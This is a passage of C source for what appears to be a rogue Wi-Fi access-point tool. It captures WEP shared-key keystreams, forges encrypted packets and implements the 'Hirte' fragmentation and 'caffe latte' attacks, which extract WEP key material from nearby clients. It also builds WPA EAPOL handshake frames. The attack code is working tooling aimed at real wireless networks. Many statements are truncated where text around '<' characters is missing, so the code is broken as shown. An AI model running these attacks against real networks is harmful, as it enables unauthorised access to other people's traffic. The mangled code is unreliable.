addESSIDfile(char* filename) { FILE *list; char essid[256]; int x; list = fopen(filename, "r"); if(list == NULL) { perror("Unable to open ESSID list"); return -1; } while( fgets(essid, 256, list) != NULL ) { // trim trailing whitespace x = strlen(essid) - 1; while (x >= 0 && isspace((int)essid[x])) essid[x--] = 0; if(strlen(essid)) addESSID(essid, strlen(essid), 0); } fclose(list); return 0; } int addMACfile(pMAC_t pMAC, char* filename) { FILE *list; unsigned char mac[6]; char buffer[256]; list = fopen(filename, "r"); if(list == NULL) { perror("Unable to open MAC list"); return -1; } while( fgets(buffer, 256, list) != NULL ) { if(getmac(buffer, 1, mac) == 0) addMAC(pMAC, mac); } fclose(list); return 0; } int is_filtered_netmask(unsigned char *bssid) { unsigned char mac1[6]; unsigned char mac2[6]; int i; for(i=0; i<6; i++) { mac1[i] = bssid[i] & opt.f_netmask[i]; mac2[i] = opt.f_bssid[i] & opt.f_netmask[i]; } if( memcmp(mac1, mac2, 6) != 0 ) { return( 1 ); } return 0; } int send_packet(void *buf, size_t count) { struct wif *wi = _wi_out; /* XXX globals suck */ if (wi_write(wi, buf, count, NULL) == -1) { perror("wi_write()"); return -1; } pthread_mutex_lock( &mx_cap ); if(opt.record_data) capture_packet(buf, count); pthread_mutex_unlock( &mx_cap ); nb_pkt_sent++; return 0; } int read_packet(void *buf, size_t count) { struct wif *wi = _wi_in; /* XXX */ int rc; rc = wi_read(wi, buf, count, NULL); if (rc == -1) { perror("wi_read()"); return -1; } return rc; } int msleep( int msec ) { struct timeval tv, tv2; float f, ticks; int n; if(msec == 0) msec = 1; ticks = 0; while( 1 ) { /* wait for the next timer interrupt, or sleep */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks++; } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 1024 ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks += f / 1024; } if( ( ticks / 1024 * 1000 ) < msec ) continue; /* threshold reached */ break; } return 0; } int check_shared_key(unsigned char *h80211, int caplen) { int m_bmac, m_smac, m_dmac, n, textlen; char ofn[1024]; unsigned char text[4096]; unsigned char prga[4096]; unsigned int long crc; if((unsigned)caplen > sizeof(opt.sharedkey[0])) return 1; m_bmac = 16; m_smac = 10; m_dmac = 4; if( time(NULL) - opt.sk_start > 5) { /* timeout(5sec) - remove all packets, restart timer */ memset(opt.sharedkey, '\x00', 4096*3); opt.sk_start = time(NULL); } /* is auth packet */ if( (h80211[1] & 0x40) != 0x40 ) { /* not encrypted */ if( ( h80211[24] + (h80211[25] << 8) ) == 1 ) { /* Shared-Key Authentication */ if( ( h80211[26] + (h80211[27] << 8) ) == 2 ) { /* sequence == 2 */ memcpy(opt.sharedkey[0], h80211, caplen); opt.sk_len = caplen-24; } if( ( h80211[26] + (h80211[27] << 8) ) == 4 ) { /* sequence == 4 */ memcpy(opt.sharedkey[2], h80211, caplen); } } else return 1; } else { /* encrypted */ memcpy(opt.sharedkey[1], h80211, caplen); opt.sk_len2 = caplen-24-4; } /* check if the 3 packets form a proper authentication */ if( ( memcmp(opt.sharedkey[0]+m_bmac, NULL_MAC, 6) == 0 ) || ( memcmp(opt.sharedkey[1]+m_bmac, NULL_MAC, 6) == 0 ) || ( memcmp(opt.sharedkey[2]+m_bmac, NULL_MAC, 6) == 0 ) ) /* some bssids == zero */ { return 1; } if( ( memcmp(opt.sharedkey[0]+m_bmac, opt.sharedkey[1]+m_bmac, 6) != 0 ) || ( memcmp(opt.sharedkey[0]+m_bmac, opt.sharedkey[2]+m_bmac, 6) != 0 ) ) /* all bssids aren't equal */ { return 1; } if( ( memcmp(opt.sharedkey[0]+m_smac, opt.sharedkey[2]+m_smac, 6) != 0 ) || ( memcmp(opt.sharedkey[0]+m_smac, opt.sharedkey[1]+m_dmac, 6) != 0 ) ) /* SA in 2&4 != DA in 3 */ { return 1; } if( (memcmp(opt.sharedkey[0]+m_dmac, opt.sharedkey[2]+m_dmac, 6) != 0 ) || (memcmp(opt.sharedkey[0]+m_dmac, opt.sharedkey[1]+m_smac, 6) != 0 ) ) /* DA in 2&4 != SA in 3 */ { return 1; } textlen = opt.sk_len; if(textlen+4 != opt.sk_len2) { if(!opt.quiet) { PCT; printf("Broken SKA: %02X:%02X:%02X:%02X:%02X:%02X (expected: %d, got %d bytes)\n", *(opt.sharedkey[0]+m_dmac), *(opt.sharedkey[0]+m_dmac+1), *(opt.sharedkey[0]+m_dmac+2), *(opt.sharedkey[0]+m_dmac+3), *(opt.sharedkey[0]+m_dmac+4), *(opt.sharedkey[0]+m_dmac+5), textlen+4, opt.sk_len2); } return 1; } if((unsigned)textlen > sizeof(text) - 4) return 1; memcpy(text, opt.sharedkey[0]+24, textlen); /* increment sequence number from 2 to 3 */ text[2] = text[2]+1; crc = 0xFFFFFFFF; for( n = 0; n < textlen; n++ ) crc = crc_tbl[(crc ^ text[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; /* append crc32 over body */ text[textlen] = (crc ) & 0xFF; text[textlen+1] = (crc >> 8) & 0xFF; text[textlen+2] = (crc >> 16) & 0xFF; text[textlen+3] = (crc >> 24) & 0xFF; /* cleartext XOR cipher */ for(n=0; n<(textlen+4); n++) { prga[4+n] = (text[n] ^ opt.sharedkey[1][28+n]) & 0xFF; } /* write IV+index */ prga[0] = opt.sharedkey[1][24] & 0xFF; prga[1] = opt.sharedkey[1][25] & 0xFF; prga[2] = opt.sharedkey[1][26] & 0xFF; prga[3] = opt.sharedkey[1][27] & 0xFF; if( opt.f_xor != NULL ) { fclose(opt.f_xor); opt.f_xor = NULL; } snprintf( ofn, sizeof( ofn ) - 1, "keystream-%02d-%02X-%02X-%02X-%02X-%02X-%02X.%s", opt.f_index, *(opt.sharedkey[0]+m_dmac), *(opt.sharedkey[0]+m_dmac+1), *(opt.sharedkey[0]+m_dmac+2), *(opt.sharedkey[0]+m_dmac+3), *(opt.sharedkey[0]+m_dmac+4), *(opt.sharedkey[0]+m_dmac+5), "xor" ); opt.f_index++; opt.f_xor = fopen( ofn, "w"); if(opt.f_xor == NULL) return 1; for(n=0; n 1500) size = 1500; if( fread( (*dest), size, 1, f ) != 1 ) { fclose(f); fprintf( stderr, "fread failed\n" ); return( 1 ); } if( (*dest)[3] > 0x03 ) { printf("Are you really sure that this is a valid keystream? Because the index is out of range (0-3): %02X\n", (*dest)[3] ); } opt.prgalen = size; fclose(f); return( 0 ); } void add_icv(unsigned char *input, int len, int offset) { unsigned long crc = 0xFFFFFFFF; int n=0; for( n = offset; n < len; n++ ) crc = crc_tbl[(crc ^ input[n]) & 0xFF] ^ (crc >> 8); crc = ~crc; input[len] = (crc ) & 0xFF; input[len+1] = (crc >> 8) & 0xFF; input[len+2] = (crc >> 16) & 0xFF; input[len+3] = (crc >> 24) & 0xFF; return; } int xor_keystream(unsigned char *ph80211, unsigned char *keystream, int len) { int i=0; for (i=0; i> 1, ( h80211[1] & 1 ) ); if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 ) { if ( ( h80211[1] & 3 ) == 3 ) key_index_offset = 33; //WDS packets have an additional MAC adress else key_index_offset = 27; if( ( h80211[key_index_offset] & 0x20 ) == 0 ) printf( " (WEP)" ); else printf( " (WPA)" ); } for( i = 0; i < caplen; i++ ) { if( ( i & 15 ) == 0 ) { if( i == 224 ) { printf( "\n --- CUT ---" ); break; } printf( "\n 0x%04x: ", i ); } printf( "%02x", h80211[i] ); if( ( i & 1 ) != 0 ) printf( " " ); if( i == caplen - 1 && ( ( i + 1 ) & 15 ) != 0 ) { for( j = ( ( i + 1 ) & 15 ); j < 16; j++ ) { printf( " " ); if( ( j & 1 ) != 0 ) printf( " " ); } printf( " " ); for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126 ) ? '.' : h80211[i - 15 + j] ); } if( i > 0 && ( ( i + 1 ) & 15 ) == 0 ) { printf( " " ); for( j = 0; j < 16; j++ ) printf( "%c", ( h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127 ) ? '.' : h80211[i - 15 + j] ); } } printf("\n"); } #define IEEE80211_LLC_SNAP \ "\x08\x00\x00\x00\xDD\xDD\xDD\xDD\xDD\xDD\xBB\xBB\xBB\xBB\xBB\xBB" \ "\xCC\xCC\xCC\xCC\xCC\xCC\xE0\x32\xAA\xAA\x03\x00\x00\x00\x08\x00" int set_IVidx(unsigned char* packet) { unsigned char ividx[4]; if(packet == NULL) return 1; if(opt.prga == NULL && opt.crypt != CRYPT_WEP) { printf("Please specify a WEP key (-w).\n"); return 1; } if( opt.crypt == CRYPT_WEP ) { ividx[0] = rand() & 0xFF; ividx[1] = rand() & 0xFF; ividx[2] = rand() & 0xFF; ividx[3] = 0x00; } else if(opt.prga != NULL) { memcpy(ividx, opt.prga, 4); } /* insert IV+index */ memcpy(packet+24, ividx, 4); return 0; } int encrypt_data(unsigned char* data, int length) { unsigned char cipher[4096]; unsigned char K[128]; if(data == NULL) return 1; if(length < 1 || length > 2044) return 1; if(opt.prga == NULL && opt.crypt != CRYPT_WEP) { printf("Please specify a WEP key (-w).\n"); return 1; } if(opt.prgalen-4 < length && opt.crypt != CRYPT_WEP) { printf("Please specify a longer PRGA file (-y) with at least %i bytes.\n", (length+4)); return 1; } /* encrypt data */ if(opt.crypt == CRYPT_WEP) { K[0] = rand() & 0xFF; K[1] = rand() & 0xFF; K[2] = rand() & 0xFF; memcpy( K + 3, opt.wepkey, opt.weplen ); encrypt_wep( data, length, K, opt.weplen+3 ); memcpy(cipher, data, length); memcpy(data+4, cipher, length); memcpy(data, K, 3); data[3] = 0x00; } return 0; } int create_wep_packet(unsigned char* packet, int *length, int hdrlen) { if(packet == NULL) return 1; /* write crc32 value behind data */ if( add_crc32(packet+hdrlen, *length-hdrlen) != 0 ) return 1; /* encrypt data+crc32 and keep a 4byte hole */ if( encrypt_data(packet+hdrlen, *length-hdrlen+4) != 0 ) return 1; // /* write IV+IDX right in front of the encrypted data */ // if( set_IVidx(packet) != 0 ) return 1; /* set WEP bit */ packet[1] = packet[1] | 0x40; *length+=8; /* now you got yourself a shiny, brand new encrypted wep packet ;) */ return 0; } int intercept(unsigned char* packet, int length) { unsigned char buf[4096]; unsigned char K[128]; int z=0; memset(buf, 0, 4096); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if( opt.crypt == CRYPT_WEP ) { memcpy( K, packet + z, 3 ); memcpy( K + 3, opt.wepkey, opt.weplen ); if (decrypt_wep( packet + z + 4, length - z - 4, K, 3 + opt.weplen ) == 0 ) { // ICV check failed! return 1; } /* WEP data packet was successfully decrypted, * * remove the WEP IV & ICV and write the data */ length -= 8; memcpy( packet + z, packet + z + 4, length - z ); } /* clear wep bit */ packet[1] &= 0xBF; //insert ethernet header memcpy(buf+14, packet, length); length += 14; ti_write(dev.dv_ti2, buf, length); return 0; } int packet_xmit(unsigned char* packet, int length) { unsigned char buf[4096]; int fragments=1, i; int newlen=0, usedlen=0, length2; if(packet == NULL) return 1; if(length < 38) return 1; if(length-14 > 16*opt.wif_mtu-MAX_FRAME_EXTENSION) return 1; if(length+MAX_FRAME_EXTENSION > opt.wif_mtu) fragments=((length-14+MAX_FRAME_EXTENSION) / opt.wif_mtu) + 1; if(fragments > 16) return 1; if(fragments > 1) newlen = (length-14+MAX_FRAME_EXTENSION)/fragments; else newlen = length-14; for(i=0; i> 4) | (frame[23] << 4); h80211[22] |= i & 0x0F; //set fragment h80211[1] |= 0x04; //more frags if(i == (fragments-1)) { h80211[1] &= 0xFB; //no more frags } // length = length+32-14; //32=IEEE80211+LLC/SNAP; 14=SRC_MAC+DST_MAC+TYPE length2 = newlen+32; if((opt.external & EXT_OUT)) { memset(buf, 0, 4096); memcpy(buf+14, h80211, length2); //mark it as outgoing packet buf[12] = 0xFF; buf[13] = 0xFF; ti_write(dev.dv_ti2, buf, length2+14); // return 0; } else { if( opt.crypt == CRYPT_WEP || opt.prgalen > 0 ) { if(create_wep_packet(h80211, &length2, 24) != 0) return 1; } send_packet(h80211, length2); } usedlen += newlen; if((i+1) 3000) return 1; memset(buf, 0, 4096); if(memcmp(packet, buf, 11) != 0) { // Wrong header return 1; } /* cut ethernet header */ memcpy(buf, packet, length); length -= 14; memcpy(packet, buf+14, length); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if( opt.crypt == CRYPT_WEP || opt.prgalen > 0 ) { if(create_wep_packet(packet, &length, z) != 0) return 1; } if(memcmp(buf+12, (unsigned char *)"\x00\x00", 2) == 0) /* incoming packet */ { packet_recv(packet, length, apc, 0); } else if(memcmp(buf+12, (unsigned char *)"\xFF\xFF", 2) == 0) /* outgoing packet */ { send_packet(packet, length); } return 0; } int remove_tag(unsigned char *flags, unsigned char type, int *length) { int cur_type=0, cur_len=0, len=0; unsigned char *pos; unsigned char buffer[4096]; if(*length < 2) return 1; if(flags == NULL) return 1; pos = flags; do { cur_type = pos[0]; cur_len = pos[1]; // printf("tag %d with len %d found, looking for tag %d\n", cur_type, cur_len, type); // printf("gone through %d bytes from %d max\n", len+2+cur_len, *length); if(len+2+cur_len > *length) return 1; if(cur_type == type) { if(cur_len > 0 && (pos-flags+cur_len+2) <= *length) { memcpy(buffer, pos+2+cur_len, *length-((pos+2+cur_len) - flags)); memcpy(pos, buffer, *length-((pos+2+cur_len) - flags)); *length = *length - 2 - cur_len; return 0; } else return 1; } pos += cur_len + 2; len += cur_len + 2; } while(len+2 <= *length); return 0; } unsigned char* parse_tags(unsigned char *flags, unsigned char type, int length, int *taglen) { int cur_type=0, cur_len=0, len=0; unsigned char *pos; if(length < 2) return(NULL); if(flags == NULL) return(NULL); pos = flags; do { cur_type = pos[0]; cur_len = pos[1]; if(len+2+cur_len > length) return(NULL); if(cur_type == type) { if(cur_len > 0) { *taglen = cur_len; return pos+2; } else return(NULL); } pos += cur_len + 2; len += cur_len + 2; } while(len+2 <= length); return(NULL); } int wpa_client(struct ST_info *st_cur,unsigned char* tag, int length) { if(tag == NULL) return 1; if(st_cur == NULL) return 1; if(tag[0] != 0xDD && tag[0] != 0x30) //wpa1 or wpa2 return 1; if(tag[0] == 0xDD) { if(length < 24) return 1; switch(tag[17]) { case 0x02: st_cur->wpahash = 1; //md5|tkip break; case 0x04: st_cur->wpahash = 2; //sha1|ccmp break; default: return 1; } st_cur->wpatype = 1; //wpa1 } if(tag[0] == 0x30 && st_cur->wpatype == 0) { if(length < 22) return 1; switch(tag[13]) { case 0x02: st_cur->wpahash = 1; //md5|tkip break; case 0x04: st_cur->wpahash = 2; //sha1|ccmp break; default: return 1; } st_cur->wpatype = 2; //wpa2 } return 0; } int set_clear_arp(unsigned char *buf, unsigned char *smac, unsigned char *dmac) //set first 22 bytes { if(buf == NULL) return -1; memcpy(buf, S_LLC_SNAP_ARP, 8); buf[8] = 0x00; buf[9] = 0x01; //ethernet buf[10] = 0x08; // IP buf[11] = 0x00; buf[12] = 0x06; //hardware size buf[13] = 0x04; //protocol size buf[14] = 0x00; if(memcmp(dmac, BROADCAST, 6) == 0) buf[15] = 0x01; //request else buf[15] = 0x02; //reply memcpy(buf+16, smac, 6); return 0; } int set_final_arp(unsigned char *buf, unsigned char *mymac) { if(buf == NULL) return -1; //shifted by 10bytes to set source IP as target IP :) buf[0] = 0x08; // IP buf[1] = 0x00; buf[2] = 0x06; //hardware size buf[3] = 0x04; //protocol size buf[4] = 0x00; buf[5] = 0x01; //request memcpy(buf+6, mymac, 6); //sender mac buf[12] = 0xA9; //sender IP 169.254.87.197 buf[13] = 0xFE; buf[14] = 0x57; buf[15] = 0xC5; //end sender IP return 0; } int set_clear_ip(unsigned char *buf, int ip_len) //set first 9 bytes { if(buf == NULL) return -1; memcpy(buf, S_LLC_SNAP_IP, 8); buf[8] = 0x45; buf[10] = (ip_len >> 8) & 0xFF; buf[11] = ip_len & 0xFF; return 0; } int set_final_ip(unsigned char *buf, unsigned char *mymac) { if(buf == NULL) return -1; //shifted by 10bytes to set source IP as target IP :) buf[0] = 0x06; //hardware size buf[1] = 0x04; //protocol size buf[2] = 0x00; buf[3] = 0x01; //request memcpy(buf+4, mymac, 6); //sender mac buf[10] = 0xA9; //sender IP from 169.254.XXX.XXX buf[11] = 0xFE; buf[12] = 0x57; buf[13] = 0xC5; //end sender IP return 0; } //add packet for client fragmentation attack int addCF(unsigned char* packet, int length) { pCF_t curCF = rCF; unsigned char bssid[6]; unsigned char smac[6]; unsigned char dmac[6]; unsigned char keystream[128]; unsigned char frag1[128], frag2[128], frag3[128]; unsigned char clear[4096], final[4096], flip[4096]; int isarp; int z, i; if(curCF == NULL) return 1; if(packet == NULL) return 1; z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if(length < z+8) return 1; if(length > 3800) { return 1; } if(opt.cf_count >= 100) return 1; memset(clear, 0, 4096); memset(final, 0, 4096); memset(flip, 0, 4096); memset(frag1, 0, 128); memset(frag2, 0, 128); memset(frag3, 0, 128); memset(keystream, 0, 128); switch( packet[1] & 3 ) { case 0: memcpy( bssid, packet + 16, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 10, 6 ); break; case 1: memcpy( bssid, packet + 4, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 10, 6 ); break; case 2: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 16, 6 ); break; default: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 24, 6 ); break; } if( is_ipv6(packet) ) { if(opt.verbose) { PCT; printf("Ignored IPv6 packet.\n"); } return 1; } if( is_dhcp_discover(packet, length-z-4-4) ) { if(opt.verbose) { PCT; printf("Ignored DHCP Discover packet.\n"); } return 1; } /* check if it's a potential ARP request */ //its length 68 or 86 and going to broadcast or a unicast mac (even first byte) if( (length == 68 || length == 86) && (memcmp(dmac, BROADCAST, 6) == 0 || (dmac[0]%2) == 0) ) { /* process ARP */ isarp = 1; //build the new packet set_clear_arp(clear, smac, dmac); set_final_arp(final, opt.r_smac); for(i=0; i<14; i++) keystream[i] = (packet+z+4)[i] ^ clear[i]; // correct 80211 header packet[0] = 0x08; //data if( (packet[1] & 3) == 0x00 ) //ad-hoc { packet[1] = 0x40; //wep memcpy(packet+4, smac, 6); memcpy(packet+10, opt.r_smac, 6); memcpy(packet+16, bssid, 6); } else //tods { packet[1] = 0x42; //wep+FromDS memcpy(packet+4, smac, 6); memcpy(packet+10, bssid, 6); memcpy(packet+16, opt.r_smac, 6); } packet[22] = 0xD0; //frag = 0; packet[23] = 0x50; //need to shift by 10 bytes; (add 1 frag in front) memcpy(frag1, packet, z+4); //copy 80211 header and IV frag1[1] |= 0x04; //more frags memcpy(frag1+z+4, S_LLC_SNAP_ARP, 8); frag1[z+4+8] = 0x00; frag1[z+4+9] = 0x01; //ethernet add_crc32(frag1+z+4, 10); for(i=0; i<14; i++) (frag1+z+4)[i] ^= keystream[i]; /* frag1 finished */ for(i=0; inext != NULL) curCF = curCF->next; pthread_mutex_lock( &mx_cf ); curCF->next = (pCF_t) malloc(sizeof(struct CF_packet)); curCF = curCF->next; curCF->xmitcount = 0; curCF->next = NULL; if(isarp) { memcpy(curCF->frags[0], frag1, z+4+10+4); curCF->fraglen[0] = z+4+10+4; memcpy(curCF->final, packet, length); curCF->finallen = length; curCF->fragnum = 1; /* one frag and final frame */ } else { memcpy(curCF->frags[0], frag1, z+4+4+4); memcpy(curCF->frags[1], frag2, z+4+4+4); memcpy(curCF->frags[2], frag3, z+4+4+4); curCF->fraglen[0] = z+4+4+4; curCF->fraglen[1] = z+4+4+4; curCF->fraglen[2] = z+4+4+4; memcpy(curCF->final, packet, length); curCF->finallen = length; curCF->fragnum = 3; /* three frags and final frame */ } opt.cf_count++; pthread_mutex_unlock( &mx_cf ); if(opt.cf_count == 1 && !opt.quiet) { PCT; printf("Starting Hirte attack against %02X:%02X:%02X:%02X:%02X:%02X at %d pps.\n", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5],opt.r_nbpps); } if(opt.verbose) { PCT; printf("Added %s packet to cfrag buffer.\n", isarp?"ARP":"IP"); } return 0; } //add packet for caffe latte attack int addarp(unsigned char* packet, int length) { unsigned char bssid[6], smac[6], dmac[6]; unsigned char flip[4096]; int z=0, i=0; if(packet == NULL) return -1; if(length != 68 && length != 86) return -1; z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if(( packet[1] & 3 ) == 0) { memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 10, 6 ); memcpy( bssid, packet + 16, 6 ); } else { memcpy( dmac, packet + 4, 6 ); memcpy( bssid, packet + 10, 6 ); memcpy( smac, packet + 16, 6 ); } if(memcmp(dmac, BROADCAST, 6) != 0) return -1; if(memcmp(bssid, opt.r_bssid, 6) != 0) return -1; packet[21] ^= ((rand() % 255)+1); //Sohail:flip sender MAC address since few clients do not honor ARP from its own MAC if(opt.nb_arp >= opt.ringbuffer) return -1; memset(flip, 0, 4096); flip[49-z-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender MAC flip[53-z-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP add_crc32_plain(flip, length-z-4-4); for(i=0; istmac[0], st_cur->stmac[1], st_cur->stmac[2] , st_cur->stmac[3], st_cur->stmac[4], st_cur->stmac[5], IVS2_EXTENSION ); opt.f_index++; if( ( f_ivs = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); return( 1 ); } if( fwrite( IVS2_MAGIC, 1, 4, f_ivs ) != (size_t) 4 ) { perror( "fwrite(IVs file MAGIC) failed" ); fclose( f_ivs ); return( 1 ); } if( fwrite( &fivs2, 1, sizeof(struct ivs2_filehdr), f_ivs ) != (size_t) sizeof(struct ivs2_filehdr) ) { perror( "fwrite(IVs file header) failed" ); fclose( f_ivs ); return( 1 ); } memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); //write stmac as bssid and essid ivs2.flags = 0; ivs2.len = 0; ivs2.len += st_cur->essid_length; ivs2.flags |= IVS2_ESSID; ivs2.flags |= IVS2_BSSID; ivs2.len += 6; if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); fclose( f_ivs ); return( 1 ); } if( fwrite( opt.r_bssid, 1, 6, f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); fclose( f_ivs ); return( 1 ); } ivs2.len -= 6; /* write essid */ if( fwrite( st_cur->essid, 1, st_cur->essid_length, f_ivs ) != (size_t) st_cur->essid_length ) { perror( "fwrite(IV essid) failed" ); fclose( f_ivs ); return( 1 ); } //add wpa data ivs2.flags = 0; ivs2.len = 0; ivs2.len= sizeof(struct WPA_hdsk); ivs2.flags |= IVS2_WPA; if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); fclose( f_ivs ); return( 1 ); } if( fwrite( &(st_cur->wpa), 1, sizeof(struct WPA_hdsk), f_ivs ) != (size_t) sizeof(struct WPA_hdsk) ) { perror( "fwrite(IV wpa_hdsk) failed" ); fclose( f_ivs ); return( 1 ); } fclose( f_ivs ); return 0; } int packet_recv(unsigned char* packet, int length, struct AP_conf *apc, int external) { unsigned char K[64]; unsigned char bssid[6]; unsigned char smac[6]; unsigned char dmac[6]; int trailer=0; unsigned char *tag=NULL; int len, i, c; unsigned char *buffer; char essid[256]; struct timeval tv1; u_int64_t timestamp; char fessid[MAX_IE_ELEMENT_SIZE+1]; int seqnum, fragnum, morefrag; int gotsource, gotbssid; int remaining, bytes2use; int reasso, fixed, temp_channel; unsigned z; struct ST_info *st_cur = NULL; struct ST_info *st_prv = NULL; reasso = 0; fixed = 0; memset(essid, 0, 256); pthread_mutex_lock( &mx_cap ); if(opt.record_data) capture_packet(packet, length); pthread_mutex_unlock( &mx_cap ); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if (packet[0] == 0x88) z += 2; /* handle QoS field */ if((unsigned)length < z) { return 1; } if(length > 3800) { return 1; } switch( packet[1] & 3 ) { case 0: memcpy( bssid, packet + 16, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 10, 6 ); break; case 1: memcpy( bssid, packet + 4, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 10, 6 ); break; case 2: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 16, 6 ); break; default: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 24, 6 ); break; } if( (packet[1] & 3) == 0x03) { /* no wds support yet */ return 1; } /* MAC Filter */ if(opt.filter >= 0) { if(getMACcount(rClient) > 0) { /* filter clients */ gotsource = gotMAC(rClient, smac); if((gotsource && opt.filter == BLOCK_MACS) || ( !gotsource && opt.filter == ALLOW_MACS)) return 0; } if(getMACcount(rBSSID) > 0) { /* filter bssids */ gotbssid = gotMAC(rBSSID, bssid); if((gotbssid && opt.filter == BLOCK_MACS) || ( !gotbssid && opt.filter == ALLOW_MACS)) return 0; } } /* check list of clients */ st_cur = opt.st_1st; st_prv = NULL; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, smac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a new client, add it */ if( st_cur == NULL ) { if( ! ( st_cur = (struct ST_info *) malloc( sizeof( struct ST_info ) ) ) ) { perror( "malloc failed" ); return( 1 ); } memset( st_cur, 0, sizeof( struct ST_info ) ); if( opt.st_1st == NULL ) opt.st_1st = st_cur; else st_prv->next = st_cur; memcpy( st_cur->stmac, smac, 6 ); st_cur->prev = st_prv; st_cur->tinit = time( NULL ); st_cur->tlast = time( NULL ); st_cur->power = -1; st_cur->rate_to = -1; st_cur->rate_from = -1; st_cur->probe_index = -1; st_cur->missed = 0; st_cur->lastseq = 0; gettimeofday( &(st_cur->ftimer), NULL); for( i = 0; i < NB_PRB; i++ ) { memset( st_cur->probes[i], 0, sizeof( st_cur->probes[i] ) ); st_cur->ssid_length[i] = 0; } memset(st_cur->essid, 0, 256); st_cur->essid_length = 0; st_cur->wpatype = 0; st_cur->wpahash = 0; st_cur->wep = 0; opt.st_end = st_cur; } /* Got a data packet with our bssid set and ToDS==1*/ if( memcmp( bssid, opt.r_bssid, 6) == 0 && ( packet[0] & 0x08 ) == 0x08 && (packet[1] & 0x03) == 0x01 ) { // printf("to me with len: %d\n", length); fragnum = packet[22] & 0x0F; seqnum = (packet[22] >> 4) | (packet[23] << 4); morefrag = packet[1] & 0x04; // printf("frag: %d, morefrag: %d\n", fragnum, morefrag); /* Fragment? */ if(fragnum > 0 || morefrag) { addFrag(packet, smac, length); buffer = getCompleteFrag(smac, seqnum, &len); timeoutFrag(); /* we got frag, no compelete packet avail -> do nothing */ if(buffer == NULL) return 1; // printf("got all frags!!!\n"); memcpy(packet, buffer, len); length = len; free(buffer); buffer = NULL; } /* intercept packets in case we got external processing */ if(external) { intercept(packet, length); return 0; } /* To our mac? */ if( (memcmp( dmac, opt.r_bssid, 6) == 0 && !opt.adhoc ) || (memcmp( dmac, opt.r_smac, 6) == 0 && opt.adhoc ) ) { /* Is encrypted */ if( (packet[z] != packet[z + 1] || packet[z + 2] != 0x03) && (packet[1] & 0x40) == 0x40 ) { /* check the extended IV flag */ /* WEP and we got the key */ if( ( packet[z + 3] & 0x20 ) == 0 && opt.crypt == CRYPT_WEP && !opt.cf_attack) { memcpy( K, packet + z, 3 ); memcpy( K + 3, opt.wepkey, opt.weplen ); if (decrypt_wep( packet + z + 4, length - z - 4, K, 3 + opt.weplen ) == 0 ) { // printf("ICV check failed!\n"); return 1; } /* WEP data packet was successfully decrypted, * * remove the WEP IV & ICV and write the data */ length -= 8; memcpy( packet + z, packet + z + 4, length - z ); packet[1] &= 0xBF; } else { if(opt.cf_attack) { addCF(packet, length); return 0; } /* its a packet for us, but we either don't have the key or its WPA -> throw it away */ return 0; } } else { /* unencrypted data packet, nothing special, send it through dev_ti */ if(opt.sendeapol && memcmp(packet+z, "\xAA\xAA\x03\x00\x00\x00\x88\x8E\x01\x01", 10) == 0) { /* got eapol start frame */ if(opt.verbose) { PCT; printf("Got EAPOL start frame from %02X:%02X:%02X:%02X:%02X:%02X\n", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]); } st_cur->wpa.state = 0; if (opt.use_fixed_nonce) { memcpy(st_cur->wpa.anonce, opt.fixed_nonce, 32); } else { for(i=0; i<32; i++) st_cur->wpa.anonce[i] = rand()&0xFF; } st_cur->wpa.state |= 1; /* build first eapol frame */ memcpy(h80211, "\x08\x02\xd5\x00", 4); len = 4; memcpy(h80211+len, smac, 6); len += 6; memcpy(h80211+len, bssid, 6); len += 6; memcpy(h80211+len, bssid, 6); len += 6; h80211[len] = 0x60; h80211[len+1] = 0x0f; len += 2; //llc+snap memcpy(h80211+len, "\xAA\xAA\x03\x00\x00\x00\x88\x8E", 8); len += 8; //eapol memset(h80211+len, 0, 99); h80211[len] = 0x01;//version h80211[len+1] = 0x03;//type h80211[len+2] = 0x00; h80211[len+3] = 0x5F;//len if(opt.wpa1type) h80211[len+4] = 0xFE; //WPA1 if(opt.wpa2type) h80211[len+4] = 0x02; //WPA2 if(!opt.wpa1type && 